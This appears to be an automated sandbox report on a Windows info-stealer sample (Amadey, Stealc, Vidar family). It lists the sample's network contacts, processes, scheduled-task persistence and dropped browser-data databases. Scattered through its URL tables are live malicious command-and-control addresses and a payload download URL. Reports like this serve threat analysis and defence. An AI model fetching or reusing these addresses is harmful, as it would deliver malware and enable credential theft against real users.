http://31.41.244.11/files/unique2/random.exe	skotes.exe, 00000020.00000002.2520712129.0000000000E38000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000020.00000002.2520712129.0000000000E0B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://html4/loose.dtd	222aa393f7.exe, 00000023.00000003.2504075791.000000000723F000.00000004.00001000.00020000.00000000.sdmp, 222aa393f7.exe, 00000023.00000002.2516723133.0000000001000000.00000040.00000001.01000000.0000000F.sdmp	false		high
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.15.dr	false		high
https://web.whatsapp.com	7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	false		high
https://m.kugou.com/	7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	false		high
https://www.office.com	7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	false		high
https://outlook.live.com/mail/0/	7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpg	file.exe, 00000000.00000002.1848440773.00000000236F0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206/c4becf79229cb002.phpsystem32;C:	file.exe, 00000000.00000002.1848440773.00000000236F0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ntp.msn.com/edge/ntp	2cc80dabc69f58b6_1.15.dr	false		high
https://assets.msn.com/resolver/	2cc80dabc69f58b6_1.15.dr	false		high
https://powerpoint.new?from=EdgeM365Shoreline	7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	file.exe, 00000000.00000003.1591558325.000000002368D000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1808225152.0000000001214000.00000004.00000020.00020000.00000000.sdmp, Web Data.15.dr	false		high
http://.css	222aa393f7.exe, 00000023.00000003.2504075791.000000000723F000.00000004.00001000.00020000.00000000.sdmp, 222aa393f7.exe, 00000023.00000002.2516723133.0000000001000000.00000040.00000001.01000000.0000000F.sdmp	false		high
http://185.215.113.43/Zu7JuNko/index.phpK2	skotes.exe, 00000020.00000002.2520712129.0000000000E38000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://31.41.244.11/files/unique2/random.exe60	skotes.exe, 00000020.00000002.2520712129.0000000000E38000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://tidal.com/	7b210589-b080-4419-819b-b96eac056685.tmp.15.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
23.44.201.19	unknown	United States	20940	AKAMAI-ASN1EU	false
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
13.107.246.40	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.200.0.6	unknown	United States	20940	AKAMAI-ASN1EU	false
18.165.220.66	sb.scorecardresearch.com	United States	3	MIT-GATEWAYSUS	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
23.209.72.33	unknown	United States	20940	AKAMAI-ASN1EU	false
23.44.201.23	unknown	United States	20940	AKAMAI-ASN1EU	false
20.110.205.119	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
108.139.47.108	unknown	United States	16509	AMAZON-02US	false
172.217.17.78	plus.l.google.com	United States	15169	GOOGLEUS	false
13.89.179.11	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
239.255.255.250	unknown	Reserved	unknown	unknown	false
104.117.182.59	unknown	United States	20940	AKAMAI-ASN1EU	false
23.44.201.7	unknown	United States	20940	AKAMAI-ASN1EU	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.181.68	www.google.com	United States	15169	GOOGLEUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.181.65	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
172.64.41.3	unknown	United States	13335	CLOUDFLARENETUS	false
4.152.133.8	unknown	United States	3356	LEVEL3US	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.101.168.44	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false

Private

IP
192.168.2.7
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1564476
Start date and time:	2024-11-28 11:03:57 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 34s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	36
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@74/292@28/27
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 216.58.208.227, 172.217.19.238, 74.125.205.84, 34.104.35.123, 172.217.21.35, 199.232.210.172, 172.217.19.10, 172.217.19.234, 216.58.208.234, 172.217.19.202, 142.250.181.74, 142.250.181.106, 172.217.17.42, 172.217.17.74, 142.250.181.42, 142.250.181.10, 13.107.42.16, 204.79.197.203, 172.217.17.46, 13.107.6.158, 13.107.21.239, 204.79.197.239, 172.165.69.228, 23.216.77.175, 23.216.77.152, 2.16.158.43, 2.16.158.35, 2.16.158.58, 2.16.158.56, 2.16.158.32, 2.16.158.48, 2.16.158.51, 2.16.158.33, 2.16.158.40, 184.24.77.33, 184.24.77.4, 184.24.77.32, 184.24.77.43, 184.24.77.19, 184.24.77.10, 184.24.77.28, 184.24.77.18, 184.24.77.36, 104.126.37.209, 104.126.37.211, 104.126.37.200, 104.126.37.216, 104.126.37.201, 104.126.37.208, 104.126.37.203, 104.126.37.210, 104.126.37.218, 13.74.129.1, 13.107.21.237, 204.79.197.237, 131.253.33.203, 2.16.158.74, 2.16.158.75, 2.16.158.83, 2.16.158.73, 2.16.158.72, 2.16.158.88, 2.16.158.82, 2.16.158.81, 2.16.158.80, 13.87.96.169, 199.232.214.172,
Excluded domains from analysis (whitelisted): nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, prod-agic-us-2.uksouth.cloudapp.azure.com, clients2.google.com, e86303.dscx.akamaiedge.net, login.live.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, deff.nelreports.net.akamaized.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, a1834.dscg2.akamai.net, edgedl.me.gvt1.com, c.bing.com, clients.l.google.com, config.edge.skype.com.trafficmanager.net, c-msn-com-nsatc.trafficmanager.net, time.windows.com, a-0003.dc-msedge.net, www.bing.com.edgekey.net, th.bing.com, msedge.b.tlu.dl.delivery.mp.micro
Execution Graph export aborted for target 222aa393f7.exe, PID 180 because there are no executed function
Execution Graph export aborted for target DocumentsDHJECFCGHI.exe, PID 9144 because there are no executed function
Execution Graph export aborted for target file.exe, PID 1780 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 2500 because there are no executed function
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
06:49:52	API Interceptor	164x Sleep call for process: file.exe modified
06:51:03	API Interceptor	183x Sleep call for process: skotes.exe modified
12:50:15	Task Scheduler	Run new task: skotes path: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
23.44.201.19	invoice 700898 for wallcentre.com.shtml	Get hash	malicious	Unknown	Browse
	9d565bee-e6ce-1842-e729-b0df8f08ed34.eml	Get hash	malicious	HTMLPhisher	Browse
	BraveBrowserSetup-BRV010.exe	Get hash	malicious	Unknown	Browse
	BraveBrowserSetup-BRV002.exe	Get hash	malicious	Unknown	Browse
185.215.113.43	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
13.107.246.40	Payment Transfer Receipt.shtml	Get hash	malicious	HTMLPhisher	Browse	www.aib.gov.uk/
	NEW ORDER.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zs
	PO_OCF 408.xls	Get hash	malicious	Unknown	Browse	2s.gg/42Q
	06836722_218 Aluplast.docx.doc	Get hash	malicious	Unknown	Browse	2s.gg/3zk
	Quotation.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zM

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	remi.exe	Get hash	malicious	Remcos, PureLog Stealer	Browse	172.64.41.3
	rem.exe	Get hash	malicious	Remcos, PureLog Stealer	Browse	162.159.61.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	162.159.61.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	remi.exe	Get hash	malicious	Remcos, PureLog Stealer	Browse	94.245.104.56
	rem.exe	Get hash	malicious	Remcos, PureLog Stealer	Browse	94.245.104.56
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	94.245.104.56
sb.scorecardresearch.com	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.106
	remi.exe	Get hash	malicious	Remcos, PureLog Stealer	Browse	18.165.220.66
	rem.exe	Get hash	malicious	Remcos, PureLog Stealer	Browse	18.165.220.57
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.165.220.110
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.110
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.165.220.57
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	18.161.69.8
	file.exe	Get hash	malicious	PureCrypter, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.161.69.30
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse	18.161.69.117
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	18.165.220.57

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
AKAMAI-ASN1EU	Sipari#U015f_listesi.xls	Get hash	malicious	Remcos, HTMLPhisher	Browse	172.232.175.166
	file.exe	Get hash	malicious	Unknown	Browse	23.55.153.106
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	104.80.164.79
	sh4.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	23.211.108.80
	file.exe	Get hash	malicious	Unknown	Browse	23.55.153.106
	No. I20220052.exe	Get hash	malicious	FormBook	Browse	2.16.158.186
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.44.129.36
	file.exe	Get hash	malicious	Unknown	Browse	23.55.153.106
	nabx86.elf	Get hash	malicious	Unknown	Browse	104.80.225.102
	file.exe	Get hash	malicious	Unknown	Browse	23.55.153.106
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
AKAMAI-ASN1EU	Sipari#U015f_listesi.xls	Get hash	malicious	Remcos, HTMLPhisher	Browse	172.232.175.166
	file.exe	Get hash	malicious	Unknown	Browse	23.55.153.106
	mips.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	104.80.164.79
	sh4.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	23.211.108.80
	file.exe	Get hash	malicious	Unknown	Browse	23.55.153.106
	No. I20220052.exe	Get hash	malicious	FormBook	Browse	2.16.158.186
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.44.129.36
	file.exe	Get hash	malicious	Unknown	Browse	23.55.153.106
	nabx86.elf	Get hash	malicious	Unknown	Browse	104.80.225.102
	file.exe	Get hash	malicious	Unknown	Browse	23.55.153.106
MICROSOFT-CORP-MSN-AS-BLOCKUS	mipsel.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	20.140.187.176
	sparc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	40.108.124.24
	http://surl.li/oycpee	Get hash	malicious	Unknown	Browse	13.107.246.62
	arm.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	22.240.149.67
	x86_32.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	22.211.238.85
	x86_64.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	21.210.71.181
	arm5.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	40.75.85.198
	powerpc.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	22.34.217.207
	nabarm7.elf	Get hash	malicious	Unknown	Browse	20.80.127.185
	sh4.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	52.174.90.88

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	goHB2EXlPf.exe	Get hash	malicious	RedLine, SectopRAT	Browse	52.149.20.212 13.107.246.63 20.190.147.4 23.218.208.109 20.12.23.50
	https://important-wholesale-dress.glitch.me#clerk@tkbtc.co.uk	Get hash	malicious	Unknown	Browse	52.149.20.212 13.107.246.63 20.190.147.4 23.218.208.109 20.12.23.50
	http://surl.li/oycpee	Get hash	malicious	Unknown	Browse	52.149.20.212 13.107.246.63 20.190.147.4 23.218.208.109 20.12.23.50
	https://go-pdf.online/abap-development-for-financial-accounting-custom-enhancements.pdf	Get hash	malicious	Unknown	Browse	52.149.20.212 13.107.246.63 20.190.147.4 23.218.208.109 20.12.23.50
	https://protect.checkpoint.com/v2/r01/___https://clickeu.actmkt.com/xd5/7-ai55b68h-a5f~-96gf-biba-/k~6/~c/kjha?jsw=sffmnfizfgDff9Dfmnfh~fgufgzvf8vfrvfmlfinfgvvf9vfrzflxfitfgyvfqvfunfihfgyffCff/Dfrzfljfgtfgwvf8Dftnflpfgtfg8vf7nfsDflnfiufg8vf9DfkDfl9fikfg7ffqDfuvfl7figfgCffDnfr9flpfixfgfff7ffsjflDfirfgEvf7nfrvflpfisfgvvf8vfs9fmjfisfgzffqvfrrfl~fisfg~ffsvfuvfmDfgvff7vfrvfkzfitfijffDffrffmffihfgyfgwvfqnfl9fiffigff8ffqnflvfihfihfgvvfqnfmfflnfgDff8vfqnflzflrfgBffDvfsnflDfixfgAfgyffEnfrrfitfi9ffDffsnfmjfh7fihffDvfDDfmffinfgBfgxvfsvfkzfixfgBff8vfrDfkzfinfgAfgyffEnfkzfivfgxfgxvfsDfkzflrfgDfgxvfEvfrzfinfikfgyffDvfl9fijfgyfg~ffrfflffihfgsfgwvfrvfrnfijfgCfgxvfsnfrnfh7fgEff7vfDDflzfh7fgzfgwvfDDfl9fh7fgDfgwvfrnfrnfh7fgBffEvftfflnfllfgDff7ffrvfrzfirfgDffEffaffuvfjhfi9ff======___.YzJ1OndhaXRha2VyZXByaW1hcnk6YzpvOmU5NWQ1OTExMDQ0MDM5ZDVmOTk5YjgzYjgyMjAxZWRkOjc6NTcyMTo1ODgxYzMwZGRlNTA5YjA2OWZhMzE2N2MyM2ZmM2QwNDIwNjljYmQzMjEwZWZkMDc4MWNmNTg2NmRmNjE2YmZkOmg6VDpU	Get hash	malicious	Unknown	Browse	52.149.20.212 13.107.246.63 20.190.147.4 23.218.208.109 20.12.23.50
	https://important-wholesale-dress.glitch.me#clerk@tkbtc.co.uk	Get hash	malicious	Unknown	Browse	52.149.20.212 13.107.246.63 20.190.147.4 23.218.208.109 20.12.23.50
	9VbeqQbgU4.exe	Get hash	malicious	RedLine, SectopRAT	Browse	52.149.20.212 13.107.246.63 20.190.147.4 23.218.208.109 20.12.23.50
	Scan_6090402.pdf	Get hash	malicious	Unknown	Browse	52.149.20.212 13.107.246.63 20.190.147.4 23.218.208.109 20.12.23.50
	9VbeqQbgU4.exe	Get hash	malicious	RedLine, SectopRAT	Browse	52.149.20.212 13.107.246.63 20.190.147.4 23.218.208.109 20.12.23.50
	https://public-fra.mkt.dynamics.com/api/orgs/85a8c477-bea7-ef11-8a66-0022483994f9/r/MKSqoVs73k-RUO5uHPfRswIAAAA?target=%7B%22TargetUrl%22%3A%22https%253A%252F%252Fassets-fra.mkt.dynamics.com%252F85a8c477-bea7-ef11-8a66-0022483994f9%252Fdigitalassets%252Fstandaloneforms%252F46042089-b8ac-ef11-a72d-6045bd6e29e8%22%2C%22RedirectOptions%22%3A%7B%226%22%3A%22mktprf9fb729cc84d74db3bce9a30da7409e87eoprf%22%2C%221%22%3Anull%7D%7D&digest=juexwq7Jl6DCR7CneIIynCjAtNPRJ1FxLmm99rnbDLA%3D&secretVersion=02e7c83d621d4269af2f08a8e4e233cf	Get hash	malicious	Unknown	Browse	52.149.20.212 13.107.246.63 20.190.147.4 23.218.208.109 20.12.23.50

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Nymaim, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AKEBFCFI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.137181696973627
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cR/k4:MnlyfnGtxnfVuSVumEHRM4
MD5:	2D903A087A0C793BDB82F6426B1E8EFB
SHA1:	E7872CC094C598B104DA25AC6C8BEB82DAB3F08F
SHA-256:	AD67ADF2D572EF49DC95FD1A879F3AD3E0F4103DD563E713C466A1F02D57ED9A
SHA-512:	90080A361F04158C4E1CCBB3DE653FFF742C29A49523B6143B0047930FC34DC0F1D043D3C1B2B759933E1685A4CB382FD9E41B7ACDD362A2217C3810AEF95E65
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\AKKECAFBFHJDGDHIEHJD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CFCBKKKJJJKKEBGDAFIDAAAEHD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03786218306281921
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWB2IGKhNbxrO3Dpvu2HI:58r54w0VW3xWB2ohFQ3Y2
MD5:	4BB4A37B8E93E9B0F5D3DF275799D45E
SHA1:	E27DF7CC49B0D145140C119A99C1BBAA9ECCE8F7
SHA-256:	89BC0F21671C244C40A9EA42893B508858AD6E1E26AC16F2BD507C3E8CBB3CF7
SHA-512:	F2FC9067EF11DC3B719507B97C76A19B9E976D143A2FD11474B8D2A2848A706AFCA316A95FEEBA644099497A95E1C426CDAB923D5A70619018E1543FEF3182DB
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CGDGHCBGDHJJKECAECBAEGCBGC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EHJDGCBG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 9, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 9
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2654304586348966
Encrypted:	false
SSDEEP:	384:KrJ/2qOB1nxCkMcSAELyKOMq+8HKkjucswRv8p3nVumB:K0q+n0Jc9ELyKOMq+8HKkjuczRv89F
MD5:	BB4F91BC8DC926C1FEE07935232EA5E3
SHA1:	D4E4A9C246EA7845DCF45426BBEC43ACE548517B
SHA-256:	7349714326BBA7DA8E9A0B114858F186DDD8522C7E971C6BD04E24C94BD1A7A8
SHA-512:	C39CCC53E639FA6475D3A3A337D7398DA762A1C4C94978E766534A2B074AC2FF7C6D185B128A0E8D2CF465FB44E67161434EFEC29B34FD0D221EF3D15AB672E5
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JEBKECAFIDAFIECBKEHD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1769), with CRLF line terminators
Category:	dropped
Size (bytes):	9370
Entropy (8bit):	5.514140640374404
Encrypted:	false
